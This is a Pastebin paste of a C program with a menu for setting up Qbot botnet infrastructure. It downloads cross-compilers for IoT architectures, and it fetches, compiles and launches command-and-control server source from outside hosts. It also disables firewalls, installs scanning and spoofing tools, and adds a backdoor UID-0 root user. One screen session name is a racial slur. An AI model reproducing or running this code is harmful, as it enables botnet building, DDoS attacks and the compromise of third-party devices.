Advertisement
strlength

Multi installer in c

Jul 31st, 2017
347
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.95 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <time.h>
  4.  
  5. #define RED     "\x1b[31m"
  6. #define GREEN   "\x1b[32m"
  7. #define RESET   "\x1b[0m"
  8.  
  9. void calculator() {
  10.    int hax;
  11.     float results, addition1, addition2, times1, times2, sub1, sub2, div1, div2;
  12.     system("clear");
  13.     printf(RED "1. Addition\n2. Subtraction\n3. Multiplication\n4. Division\n" RESET "\n");
  14.     printf("Enter Choice: ");
  15.     scanf("%d", &hax);
  16.  
  17.      if (hax == 1)
  18.      {
  19.         printf("You Have Entered Addition!\n\n");
  20.         printf("Enter Number set 1 > ");
  21.         scanf("%f", &addition1);
  22.         printf("Enter Number set 2 > ");
  23.         scanf("%f", &addition2);
  24.  
  25.         results = addition1 + addition2;
  26.         printf(GREEN "%.2f + %.2f = %.2f\n", addition1, addition2, results);
  27.  
  28.      }
  29.      else if (hax == 2)
  30.      {
  31.         printf("You Have Entered Subtraction!\n\n");
  32.         printf("Enter Number set 1 > ");
  33.         scanf("%f", &sub1);
  34.         printf("Enter Number set 2 > ");
  35.         scanf("%f", &sub2);
  36.  
  37.         results = sub1 - sub2;
  38.         printf(GREEN "%.2f - %.2f = %.2f\n", sub1, sub2, results);
  39.      }
  40.  
  41.      else if (hax == 3)
  42.      {
  43.         printf("You Have Entered Multiplication!\n\n");
  44.         printf("Enter Number set 1 > ");
  45.         scanf("%f", &times1);
  46.         printf("Enter Number set 2 > ");
  47.         scanf("%f", &times2);
  48.  
  49.         results = times1 * times2;
  50.         printf(GREEN "%.2f - %.2f = %.2f\n", times1, times2, results);
  51.  
  52.      }
  53.      else if (hax == 4)
  54.      {
  55.         printf("You Have Entered Division!\n\n");
  56.         printf("Enter Number set 1 > ");
  57.         scanf("%f", &div1);
  58.         printf("Enter Number set 2 > ");
  59.         scanf("%f", &div2);
  60.  
  61.         results = div1 / div2;
  62.         printf(GREEN "%.2f - %.2f = %.2f\n", div1, div2, results);
  63.      }
  64.      else{
  65.         printf("Error!\n");
  66.      }
  67.     return;
  68. }
  69.  
  70. void installs() {
  71.     int Choice;
  72.     printf(RED "1.) Debian\n2.) Centos "RESET"\n");
  73.     printf("Enter Choice: ");
  74.     scanf("%d", &Choice);
  75.     if (Choice == 1)
  76.     {
  77.         printf("Debian\n");
  78.         system("apt-get update -y");
  79.         system("apt-get upgrade -y");
  80.         system("apt-get install epel-release");
  81.         system("apt-get install gcc -y");
  82.         system("apt-get install nmap -y");
  83.         system("apt-get install nc -y");
  84.         system("apt-get install tftp-hpa -y");
  85.         system("apt-get install xinetd -y");
  86.         system("apt-get install apache2 -y");
  87.         system("service httpd start");
  88.         system("service xinetd start");
  89.         system("service tftpd-hpa start");
  90.         system("iptables -F");
  91.         system("chkconfig iptables off");
  92.     }
  93.     else if (Choice == 2)
  94.     {
  95.         /* code */
  96.         printf("Centos\n");
  97.         system("yum update -y");
  98.         system("yum upgrade -y");
  99.         system("yum install epel-release");
  100.         system("yum install gcc -y");
  101.         system("yum install nmap -y");
  102.         system("yum install nc -y");
  103.         system("yum install tftp-server -y");
  104.         system("yum install xinetd -y");
  105.         system("yum install httpd -y");
  106.         system("service httpd start");
  107.         system("service xinetd start");
  108.         system("service iptables stop");
  109.         system("iptables -F");
  110.         system("chkconfig iptables off");
  111.     }
  112.     else if (Choice >= 3)
  113.     {
  114.         /* code */
  115.         printf("Pick a Choice 1-2\n");
  116.     }
  117.     else {
  118.         printf("Error!\n");
  119.     }      
  120. }          
  121.          
  122.  void archs() {
  123.         printf(RED "Downloading archs "RESET"\n");
  124.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2");
  125.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2");
  126.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2");
  127.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2");
  128.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2");
  129.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2");
  130.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2");
  131.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2");
  132.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2");
  133.         system("wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2");
  134.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2");
  135.         system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-x86_64.tar.bz2");
  136.         printf(GREEN "Done Downloading Archs "RESET"\n");
  137.         system("tar -jxf *tar.bz2");
  138.         system("rm -rf *tar.bz2");
  139. }
  140.  
  141. void cnc() {
  142.     int Choice, portC, botport;
  143.     char user[256], pass[256];
  144.     char hackz[256];
  145.     printf("What Server side do you wish to Use?\n1.) Purge\n2.) Hacker\n3.) New server side (Logs IPS)\n");
  146.     printf("Enter Choice: ");
  147.     scanf("%d", &Choice);
  148.     if (Choice == 1)
  149.     {
  150.         system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
  151.         system("wget http://mrexploit.pro/Archive/Qbot/Server-side/purge.c -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
  152.         printf("Purge\n\n");
  153.         printf("Enter Desitnated Botport: ");
  154.         scanf("%d", &botport);
  155.         printf("Enter Admin port: ");
  156.         scanf("%d", &portC);
  157.         printf("Enter username: ");
  158.         scanf("%s", user);
  159.         printf("Enter password: ");
  160.         scanf("%s", pass);
  161.         sprintf(hackz, "echo %s %s >> login.txt", user, pass);
  162.         system(hackz);
  163.         sprintf(hackz, "screen -dmS nigger ./kekserver %d 100 %d", botport, portC);
  164.         system(hackz);
  165.         printf("botnet started On Port: %d\n", portC);
  166.         printf("Username: %s\nPassword: %s\n", user, pass);
  167.     }
  168.     else if (Choice == 2)
  169.     {
  170.         /* code */
  171.         system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
  172.         system("wget https://pastebin.com/raw/fXaMFiSP -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
  173.         printf("Hacker\n");
  174.         printf("Enter Desitnated Botport: ");
  175.         scanf("%d", &botport);
  176.         printf("Enter Admin port: ");
  177.         scanf("%d", &portC);
  178.         printf("Enter username: ");
  179.         scanf("%s", user);
  180.         printf("Enter password: ");
  181.         scanf("%s", pass);
  182.         sprintf(hackz, "echo %s %s >> login.txt", user, pass);
  183.         system(hackz);
  184.         sprintf(hackz, "screen -dmS lel ./kekserver %d 100 %d", botport, portC);
  185.         system(hackz);
  186.         printf("botnet started On Port: %d\n", portC);
  187.         printf("Username: %s\nPassword: %s\n", user, pass);
  188.    
  189.     }
  190.     else if (Choice == 3)
  191.     {
  192.         system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
  193.         system("wget https://pastebin.com/raw/ipGgTegF -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
  194.         printf("server side that logs ips\n");
  195.         printf("Enter Desitnated Botport: ");
  196.         scanf("%d", &botport);
  197.         printf("Enter Admin port: ");
  198.         scanf("%d", &portC);
  199.         printf("Enter username: ");
  200.         scanf("%s", user);
  201.         printf("Enter password: ");
  202.         scanf("%s", pass);
  203.         sprintf(hackz, "echo %s %s >> login.txt", user, pass);
  204.         system(hackz);
  205.         sprintf(hackz, "screen -dmS kek ./kekserver %d 100 %d", botport, portC);
  206.         system(hackz);
  207.         printf("botnet started On Port: %d\n", portC);
  208.         printf("Username: %s\nPassword: %s\n", user, pass);
  209.     }
  210.     else {
  211.         printf("Error!\n");
  212.     }
  213. }
  214. void download_scan()
  215. {   int kek;
  216.     printf("1.) Download LRAB\n");
  217.     printf("Enter Choice: ");
  218.     scanf("%d", &kek);
  219.     if (kek == 1)
  220.     {
  221.         /* code */
  222.         printf("Downloading LRAB\n");
  223.         system("http://mrexploit.pro/Archive/Scanners/MyLRAB.zip");
  224.         system("yum || apt-get install unzip -y");
  225.         system("unzip MyLRAB.zip");
  226.         system("chmod 777 MyLRAB/*");
  227.     }
  228. }
  229. void FixMe()
  230. {
  231.     printf(RED "Fixing your net!\n" RESET);
  232.     system("iptables -F");
  233.     system("chkconfig iptables off");
  234.     system("service iptables stop");
  235.     system("sed -i 's/9999/99999/g' /usr/include/bits/typesizes.h");
  236.     system("ulimit -n 99999 && ulimit -s 99999");
  237. }
  238. void Spoof_Me()
  239. {
  240.     system("yum install cpan -y || apt-get install cpan -y");
  241.     system("yum install gcc -y || apt-get install gcc -y");
  242.     system("yum install perl -y || apt-get install perl -y");
  243.     system("yum install libpcap-devel -y || apt-get install libpcap-dev -y");
  244.     system("yum install make -y || apt-get install make -y");
  245.     system("cpan install Net::RawIP");
  246.  
  247. }
  248. void addarootuser()
  249. {   char kek[20], kek2[20];
  250.  
  251.     printf("Enter the username and password for your root user when prompt\n\n");
  252.     printf("Enter username: ");
  253.     scanf("%s", kek);
  254.     char kekmes[512], kekmes2[256];
  255.     sprintf(kekmes, "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash %s", kek);
  256.     system(kekmes);
  257.     sprintf(kekmes2, "echo -e 'changeme123\nchangeme123' | passwd %s", kek);
  258.     system(kekmes2);
  259.     printf(GREEN "User has been added!\nUsername: %s\nPassword: changeme123 \n", kek);
  260. }
  261. int main(int argc, char const *argv[])
  262. {
  263.     int cool;
  264.     system("clear");
  265.     printf(GREEN "1.) Calculator\n2.) Dependencies\n3.) Download Architectures\n4.) Server side setup \n5.) Download Scanner of your choice \n6.) Net Help (centos) \n7.) Enable spoofing \n8.) Add a root user"RESET"\n");
  266.     printf("Enter Choice: ");
  267.     scanf("%d", &cool);
  268.  
  269.     if (cool == 1)
  270.     {
  271.         /* code */
  272.         printf(RED "Calculator\n");
  273.         calculator();
  274.     }
  275.     else if (cool == 2)
  276.     {
  277.         /* code */
  278.         printf(RED "Installs\n");
  279.         installs();
  280.     }
  281.     else if (cool == 3)
  282.     {
  283.         printf("Cool!\n");
  284.         archs();
  285.     }
  286.     else if (cool == 4)
  287.     {
  288.         /* code */
  289.         printf(RED "Setting Up the server side\n");
  290.         cnc();
  291.     }
  292.     else if (cool == 5)
  293.     {
  294.         /* code */
  295.         printf(RED "Downloading Scanner of your choice\n");
  296.         download_scan();
  297.     }
  298.     else if (cool == 6)
  299.     {
  300.         /* code */
  301.         FixMe();
  302.     }
  303.     else if (cool == 7)
  304.     {
  305.         /* code */
  306.         Spoof_Me();
  307.     }
  308.     else if (cool == 8)
  309.     {
  310.         /* code */
  311.         addarootuser();
  312.     }
  313.     else if (cool >= 9)
  314.     {
  315.         /* code */
  316.         printf(RED "Pick a Choice 1-6\n");
  317.     }
  318.     return 0;
  319. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement